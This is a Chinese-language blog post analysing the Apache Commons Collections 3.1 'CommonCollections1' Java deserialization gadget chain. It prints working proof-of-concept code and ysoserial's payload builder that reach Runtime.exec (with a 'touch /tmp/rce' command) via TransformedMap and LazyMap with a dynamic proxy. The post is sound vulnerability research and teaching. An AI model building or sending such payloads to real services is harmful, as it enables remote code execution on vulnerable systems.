前言
Common Collections 反序列化漏洞歷史在上一篇文章中有稍微提過
這個漏洞在 2015 年時,對整個 Java 生態系造成不小的影響
後續也愈來愈多奇形怪狀的 Gadget chain 被大佬們一一挖出來
而本篇文章就以 ysoserial 中經典的 CommonCollections1 這條 Gadget chain 來做分析
雖然網路上類似本篇的分析文很多,但只看文章其實很難體會到 java gadget chain 裡頭的精髓
強烈建議大家有興趣、有時間的話,可以自己拉原始碼下來跟一遍,相信可以收穫更多 !
p.s. 這裡我分析的版本是 Common Collections 3.1 和 JDK 8
簡介
Apache Common Collections
主要是一個用來擴充原生 Java Collection 的一個第三方 Library
(簡單說,就是一個擴充包的概念)
而 Collection 基本上就可以視為是 Set
, List
, Queue
等類別的抽象概念
所以 Common Collections 中提供了許多方式,能讓我們對這些 Collection 做操作
或是對各種資料結構做封裝、抽象化,簡化原本 JDK 中複雜的操作方式
例如後面會提到的各種 Transformer
,最主要就是用來對這些 Collection 做內容轉換的
也因為它的方便性和實用性,所以許多框架預設都有引用這個 Library
導致一旦底層 Library 出問題,上面所有框架都會接連一起爆炸
分析
先從 Transformer
開始看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public interface Transformer { * Transforms the input object (leaving it unchanged) into some output object. * * @param input the object to be transformed, should be left unchanged * @return a transformed object * @throws ClassCastException (runtime) if the input is the wrong class * @throws IllegalArgumentException (runtime) if the input is invalid * @throws FunctorException (runtime) if the transform cannot be completed */ public Object transform(Object input); }
|
它是一個接口,主要用處就如同字面上的意思,是用來對輸入的物件做轉換
裡面最重要的就是 transform()
方法,我們後面會一直用到它!
接著來看幾個串 gadget chain 時會用到的 transformer 類別
一、 ConstantTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class ConstantTransformer implements Transformer, Serializable { ... public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } public Object transform(Object input) { return iConstant; } ... }
|
這個類別的 transform()
方法實作非常簡潔,直接吐回我們在呼叫 constructor 時設定的物件
也就是我們輸入的物件,沒有經過任何轉換操作就直接返回
二、 InvokerTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { ... } } ... }
|
InvokerTransformer
的 transform()
方法會透過反射,呼叫物件的方法
而值得注意的是,方法名、參數等都是我們在 constructor 中可控的,所以我們可以對輸入的 input
物件,做任意方法呼叫!
三、 ChainedTransformer
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public class ChainedTransformer implements Transformer, Serializable { ... public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; } public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } ... }
|
ChainedTransformer
這個類別就有意思了,iTransformers
是一個 transformer 陣列,我們一樣可以透過 constructor 設定它
這裡 transform()
方法,會去對 iTransformers
中每一個 transformer 去呼叫其對應的 transfomr()
方法 !
也就是前一個 Transformer transform()
完的結果,會被當成下一個 Transformer transform()
的輸入
所以就能串成一個 transformer chain
到目前為止,這幾個 transformer 實際上組合一下,就已經能變成一個任意代碼執行了 !
1 2 3 4 5 6 7 8 9 10
| public static void main(String args[]) { Transformer[] transformer_arr = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"}) }; Transformer chain = new ChainedTransformer(transformer_arr); chain.transform(chain); }
|
但只有這樣是不夠的
目前我們是手動建立 transformer,並手動呼叫 ChainedTransformer.transform()
方法來觸發整個 gadget chain
我們需要一個能夠自動去觸發 transform()
的方法
先來看 TransformedMap
這個類別 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| * Decorates another <code>Map</code> to transform objects that are added. * <p> * The Map put methods and Map.Entry setValue method are affected by this class. * Thus objects must be removed or searched for using their transformed form. * For example, if the transformation converts Strings to Integers, you must * use the Integer form to remove objects. * <p> * This class is Serializable from Commons Collections 3.1. * * @since Commons Collections 3.0 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $ * * @author Stephen Colebourne */ public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L; protected final Transformer keyTransformer; protected final Transformer valueTransformer; * Factory method to create a transforming map. * <p> * If there are any elements already in the map being decorated, they * are NOT transformed. * * @param map the map to decorate, must not be null * @param keyTransformer the transformer to use for key conversion, null means no conversion * @param valueTransformer the transformer to use for value conversion, null means no conversion * @throws IllegalArgumentException if map is null */ public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } ...
|
可以看到這邊的 TransformedMap
繼承了抽象類別 AbstractInputCheckedMapDecorator
而 AbstractInputCheckedMapDecorator
又繼承了抽象類別 AbstractMapDecorator
這個 AbstractMapDecorator
實際上實作了 JDK 的 Map
interface
其中 TransformedMap
的 keyTransformer
和 valueTransformer
對應 key 跟 value 改變時要做的操作
當 key 或 value 被修改時,就會去調用對應 Transformer 的 transform
方法
有很多地方都能夠觸發 keyTransformer.transform()
或 valueTransformer.transform()
但為了後面漏洞利用能繼續串另一個 class,我們這裡採用的是 AbstractInputCheckedMapDecorator.entrySet()
這條路去觸發
首先,TransformedMap.decorate()
會回傳一個 TransformedMap
並且可以讓我們設定其中的 keyTransformer
和 valueTransformer
所以這裡就能放我們前面串的那個 ChainedTransformer
當作 key 或 value 的 Transformer
接著我們看 AbstractInputCheckedMapDecorator.entrySet()
:
1 2 3 4 5 6 7 8 9 10 11
| public Set entrySet() { if (isSetValueChecking()) { return new EntrySet(map.entrySet(), this); } else { return map.entrySet(); } } protected boolean isSetValueChecking() { return true; }
|
當 isSetValueChecking()
條件成立時,會用到內部類別 EntrySet
:
1 2 3 4 5 6 7 8 9 10
| static class EntrySet extends AbstractSetDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) { super(set); this.parent = parent; } ... }
|
接著我們繼續看 AbstractInputCheckedMapDecorator$EntrySet
的 iterator()
方法
1 2 3
| public Iterator iterator() { return new EntrySetIterator(collection.iterator(), parent); }
|
iterator()
方法又去建立了一個內部類別 EntrySetIterator
的實例
你可能想問: 這裡沒地方用到這些方法,為啥要看它們呢?
因為後面會有另一個 class 有同時用到這些東西,所以我們後面會再把這些一起串起來 !
繼續看 AbstractInputCheckedMapDecorator$EntrySetIterator
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| static class EntrySetIterator extends AbstractIteratorDecorator { private final AbstractInputCheckedMapDecorator parent; protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) { super(iterator); this.parent = parent; } public Object next() { Map.Entry entry = (Map.Entry) iterator.next(); return new MapEntry(entry, parent); } }
|
next()
方法透過 iterator
去取得 Map.Entry
物件
接著 new 了一個 MapEntry
實例返回
繼續看這個 MapEntry
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
|
這裡關鍵是這個 setValue()
方法
可以看到它呼叫了 parent.checkSetValue(value)
這個 parent
其實就是 AbstractInputCheckedMapDecorator
而實作 checkSetValue()
方法是在 TransformedMap.checkSetValue()
這邊:
1 2 3
| protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
|
終於,看到我們朝思暮想的 valueTransformer.transform(value)
了 !
所以我們就能把前面任意代碼執行的 Code,改成用 TransformedMap
的 setValue()
來觸發了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| static void main(String args[]) { Transformer[] transformer_arr = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}), new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"/usr/bin/touch /tmp/rce"}) }; Transformer chain = new ChainedTransformer(transformer_arr); Map innerMap = new HashMap(); innerMap.put(null, null); Map outerMap = TransformedMap.decorate(innerMap, null, chain); Set set = outerMap.entrySet(); Iterator it = set.iterator(); Map.Entry ent = (Map.Entry) it.next(); ent.setValue(null); }
|
但一樣還是沒解決自動觸發的問題,這裡仍然是我們手動去呼叫 setValue()
而且還有前面提過的 iterator()
, next()
等方法,其實都是我們手動去執行的
需要找到一個 gadget 可以幫我們完成這些事情
而滿足我們要求的 gadget 就是下面要講的這個 sun.reflect.annotation.AnnotationInvocationHandler
類別:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| * InvocationHandler for dynamic proxy implementation of Annotation. * * @author Josh Bloch * @since 1.5 */ class AnnotationInvocationHandler implements InvocationHandler, Serializable { private static final long serialVersionUID = 6182022883658399397L; private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; ... private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } } ... }
|
可以看到 memberValues
就是一個 Map<String, Object>
而 readObject()
方法中,for 迴圈的寫法,實際上就恰巧用到了 iterator()
和 next()
!
1 2 3
| for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { ... }
|
這裡的 for 迴圈背後,實際上大致等同於
1 2 3 4
| for(Iterator iterator = memberValues.entrySet().iterator(); iterator.hasNext();) { Map.Entry<String, Object> memberValue = iterator.next(); ... }
|
所以這裡我們就一口氣用到了剛剛沒串起來的 entrySet()
, iterator()
, next()
!
最後面則去呼叫了 memberValue.setValue(...)
,導致我們整條 chain 被觸發 !
加上是 readObject()
方法的關係,所以反序列化時會自動呼叫該方法
自動觸發整個反序列化 gadget chain,達到任意代碼執行
打完收工 !
第二條路
其實如果你去看 ysoserial 的 code
會發現它用的其實不是 TransformedMap
,而是走我們現在要講的 LazyMap
這條路
概念都大同小異,就是想辦法找條路去觸發 transformer 的 transform()
方法
先來看看初始化的部分:
1 2 3 4 5 6 7 8 9 10 11
| public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Transformer factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } this.factory = factory; }
|
這裡 decorate()
一樣會去設定 Map 和 Transformer
而我們看一下 LazyMap.get()
:
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
|
這裡直接就呼叫了 factory.transform(key)
所以我們只要想辦法透過 readObject()
去呼叫 LazyMap.get()
就能觸發整個反序列化 Chain
但事情沒那麼簡單,找不到那麼單純的 readObject()
可以直接呼叫 get()
(至少我沒找到QQ)
CommonCollections1 的方式是透過 Dynamic Proxy 的方式去呼叫這個方法
代理模式:
是一種設計模式(Design Pattern)。簡單說,就是找一個代理人,然後把事情都丟給他做 (沒錯,就是進藤光跟佐為的關係)
而對於 java 靜態代理和動態代理不熟的讀者,推薦參考這篇文章
我們直接看 ysoserial 中構造 Payload 的方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) { final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); return ctor; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| public InvocationHandler getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return handler; }
|
先來看 createMemoizedInvocationHandler()
中的這段:
1
| (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
上面這行就是對應到這段:
1 2 3 4
| AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; }
|
所以 createMemoitizedProxy
實際上就是建立了一個 Map
介面的 Proxy (mapProxy
)
並將 memberValues
設為 LazyMap
的 AnnotationInvocationHandler
而下一行的 handler
則是建立 memberValues
為 mapProxy
的 AnnotationInvocationHandler
物件
這個 handler
就是我們要反序列化觸發 gadget chain 的惡意物件 !
關鍵在於,AnnotationInvocationHandler
反序列化時,會去呼叫 readObject()
方法,並且其中又會去呼叫 memberValues.entrySet()
若 memberValues
是一個代理物件,就會去呼叫對應 handler 的 invoke()
方法
而 AnnotationInvocationHandler.invoke()
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); assert paramTypes.length == 0; if (member.equals("toString")) return toStringImpl(); if (member.equals("hashCode")) return hashCodeImpl(); if (member.equals("annotationType")) return type; Object result = memberValues.get(member); ...
|
會一直走到 memberValues.get(member)
也就對應到前面講的 LazyMap.get()
成功觸發反序列化 chain 執行 !
總結
這篇介紹了 CommonCollections1 的兩種 gadget chain
其中 LazyMap
的呼叫流程可以簡化成如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
這條 gadget chain 的關鍵在於動態代理的利用方式,第一次看時腦袋會比較難轉過來
而另一條 gadget chain 就相對沒那麼複雜,是透過串 Map Entry 的 iterator 各種操作到達 setValue()
觸發整條 chain 執行
本篇文章分析了 Common Collections 漏洞中非常經典的 CommonCollections1 這條 Gadget Chain
而以 Common Collections 來說,除了 CommonCollections1 以外,其實還有 CommonCollections2, 3, 4, 5, … 各種 chain
如果我有時間的話,也許未來會再分析看看其他條 chain (吧)
不知不覺又寫了一篇 Java,感覺繼續下去也許有機會變成一系列 Java 大合集 (?